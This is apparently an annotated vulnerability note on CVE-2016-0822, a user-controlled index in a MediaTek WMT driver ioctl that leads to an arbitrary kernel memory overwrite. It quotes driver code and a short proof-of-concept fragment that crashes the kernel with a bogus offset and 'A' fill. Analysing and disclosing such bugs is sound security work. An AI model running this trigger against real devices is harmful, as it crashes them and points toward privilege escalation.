cve-2016-0822-mtk-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

• cve-2016-0822-mtk-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

//mediatek/kernel/drivers/combo/common/core/include/wmt_lib.h
typedef struct {
        UINT32 dowloadSeq;
        UCHAR addRess[4];
        UCHAR patchName[256];
}WMT_PATCH_INFO,*P_WMT_PATCH_INFO;

VOID wmt_lib_set_patch_num(unsigned long num)
{
        P_DEV_WMT pWmtDev = &gDevWmt;
        pWmtDev->patchNum = num;
}
      
  ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
  case WMT_IOCTL_SET_PATCH_INFO:{
      ...
      if (copy_from_user(&wMtPatchInfo, (void *)arg, sizeof(WMT_PATCH_INFO))) {
                                WMT_ERR_FUNC("copy_from_user failed at %d\n", __LINE__);
                                iRet = -EFAULT;
                                break;
                        }
      ...
      dWloadSeq = wMtPatchInfo.dowloadSeq; 
      //arbitrary memory overwrite. user can control dowloadSeq
      osal_memcpy(pPatchInfo + dWloadSeq - 1, &wMtPatchInfo,
                                    sizeof(WMT_PATCH_INFO));

cve-2016-0822 PoC:

Https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-0822-mtk.c

 /* set some absurd offset, in hopes of causing panic or GPF */
        overflow.dowloadSeq = 0x31337;
        /* set obvious bogus data into data fields.
         * If I had exploitation skills these would contain pointers to userland!
         */
        memset(&overflow.addRess, ‘A‘, 4);
        memset(&overflow.patchName, ‘A‘, 256);

        ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);

cve-2016-0822-mtk-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158